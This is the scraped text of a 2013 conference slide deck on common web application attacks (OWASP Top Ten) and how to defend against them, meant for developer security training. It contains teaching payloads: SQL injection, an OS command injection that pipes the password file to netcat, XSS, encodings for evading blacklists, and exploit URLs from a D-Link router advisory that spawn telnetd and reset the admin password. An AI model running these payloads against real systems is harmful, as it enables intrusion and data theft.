Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Attacking Web Applications


Published on

Sasha Goldshtein's talk at the SELA Developer Practice (May 2013) that explains the most common vulnerabilities in web applications and demonstrates how to exploit them and how to defend applications against these attacks. Among the topics covered: SQL and OS command injection, XSS, CSRF, insecure session cookies, insecure password storage, and security misconfiguration.

Published in: Technology

Attacking Web Applications

  1. 1. SELA DEVELOPER PRACTICEMay 5-9, 2013Attacking Web ApplicationsSasha GoldshteinCTO, SELA
  2. 2. Every web developer must be aware ofthe most common webattacks, risks, and mitigations.Don’t fly blind.
  3. 3. Typical RisksExposure of user information• Stealing passwords and using them with other services• Stealing user emails for spam lists• Stealing user personal information for identity theftDirect financial gain• Stealing user credit card detailsCreating a botnet• Using your servers / your users’ systems for maliciousactivityDenial of service• Preventing access to your service
  4. 4. Are they really after me?1. They could be, if you’re important.2. They are after your users.3. They found you randomly on the web.
  5. 5. OWASP Top Ten (2013 ReleaseCandidate)1. Injection2. Broken authentication and session management3. Cross-site scripting4. Insecure direct object references5. Security misconfiguration6. Sensitive data exposure7. Missing function level access control8. Cross-site request forgery9. Using components with known vulnerabilities10.Unvalidated redirects and forwards
  6. 6. Injection
  7. 7. SQL Injection• Suppose we have this very bad login validationcode:db.ExecuteReader("select * from users where name="+ Request["user"] + " and password="+ Request["password"] + "");• Suppose the user request parameter is … or 1=1• Then the query we execute is … (note that and hasprecedence over or)select * from users where name= or1=1 and password=whatever
  8. 8. OS Command Injection• Suppose we’re too lazy to perform DNS lookup, sowe resort to the following:system("nslookup " + Request["hostname"]);• Suppose the hostname parameter is …foo || cat /etc/password | nc• Then we end up sending the password file!
  9. 9. DEMOSQL injection and OS command injection
  10. 10. Mitigating Injections• DO NOT trust user input• DO NOT execute code or queries provided by theuser• DO NOT use blacklists for validation• Worst idea ever: reject inputs that contain the word“SELECT”• DO use SQL query parameters (?, @param, :param)• DO use whitelists and strict regexes for validation• DO fuzz your applications with invalid input• DISCUSS is injection possible with storedprocedures?
  11. 11. Broken authenticationor sessionmanagement
  12. 12. Sessions and URLs• Session identifier = key to the castle• DO NOT embed session identifiers in URLs• DO NOT trust cookie contents• DO NOT trust URL query string contents• DO NOT use predictable session identifiers• DO use a Secure, HttpOnly cookie for session id• DO use long, random session ids
  13. 13. DEMOExploiting vulnerable session information
  14. 14. Use HTTPS Correctly• DO NOT send sensitive information over HTTP• DO NOT display login pages over HTTP• DO NOT load HTTP frames/scripts/images in anotherwise HTTPs page• DO insist on pure HTTPS for sensitive pages
  15. 15. Storing Sensitive Information• DO NOT store anything you don’t have to store• Least responsibility principle• DO comply with regulation for secure storage• E.g. if you store credit card details, you’re in for some pain
  16. 16. Password Storage• DO NOT store passwords in clear text• DO NOT store encrypted passwords• DO NOT store weakly-hashed passwords• DO hash and salt passwords• DO reject weak passwords during signup• DO consider using OAuth services instead of yourown• DISCUSS which hash function to use• Use super-slow hash function (bcrypt) – subject to DOS• Use super-fast hash function (MD5, SHA1) – subject tocracking
  17. 17. DEMORainbow tables and weak passwords
  18. 18. XSS and CSRF
  19. 19. Cross-Site Scripting (XSS)• Injecting JavaScript into pages viewed by otherusers• Session (cookie) stealing, other information disclosure• DOM manipulation, tricking the user to do something• Temporary XSS• You craft a link that will cause code to be executed whenthe vulnerable page is accessed<script>alert(1);</script>• Persistent XSS• You provide data to the server which is then permanentlydisplayed when users visit a certain page
  20. 20. DEMOPersistent and temporary XSS
  21. 21. Cross-Site Request Forgery (CSRF)• Use the fact that the user is already authenticated toa website to generate requests on his behalf<imgsrc="" />• Interesting variation: use CSRF to login intoYouTube with the attacker’s credentials; then,Google history is stored into the attacker’s account
  22. 22. DEMOCSRF
  23. 23. Good Luck With Blacklisting Characters.70 Unique Ways To Encode <<%3C&lt&lt;&LT&LT;&#60&#060&#0060&#00060&#000060&#0000060<<<<<<&#x3c&#x03c&#x003c&#x0003c&#x00003c&#x000003c<<<<<&#x000003c;&#X3c&#X03c&#X003c&#X0003c&#X00003c&#X000003c<<<<<&#X000003c;&#x3C&#x03C&#x003C&#x0003C&#x00003C&#x000003C<<<<<&#x000003C;&#X3C&#X03C&#X003C&#X0003C&#X00003C&#X000003C<<<<<&#X000003C;x3cx3Cu003cu003C
  24. 24. Mitigating XSS and CSRF• DO NOT trust user input (didn’t we say thisalready?)• DO NOT allow GET requests to modify state• DO NOT rely on blacklists of characters/tags• DO escape and sanitize HTML provided by the user• DO generate anti-CSRF tokens and validate them• DO validate Referer headers
  25. 25. Security Configuration
  26. 26. Admin Consoles• DO NOT leave admin consoles exposed to theInternet• DO NOT provide “extra helpful” troubleshooting info• DO restrict admin consoles to local network only• DO whitelist IP addresses if absolutely necessarySome authcookies… yum!
  27. 27. DEMOLocating ELMAH error pages through Google
  28. 28. Bonus: A Real Vulnerability AdvisoryDLink DIR-615 and DIR-300• OS command injectionhttp://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=`telnetd`&pingIP=• CSRF to change admin password and enableremote administration (Internet-facing)http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=• Information disclosurehttp://<IP>/DevInfo.txt• Insecure password storage$ cat var/etc/httpasswdadmin:admin
  29. 29. Summary & Call To Action• Be aware of security risks and typical vulnerabilitieswhile you architect, design, and develop your webapplications• Ensure your developers get up to date securitytraining• Review code for security, not just correctness• Remember that web security is just one part of thepicture: if your web app is secure, attackers will tryother routes (social engineering, physical attacks,…) Follow OWASP for more:
  30. 30. SELA DEVELOPER PRACTICEMay 5-9, 2013Thank You!Questions?Sasha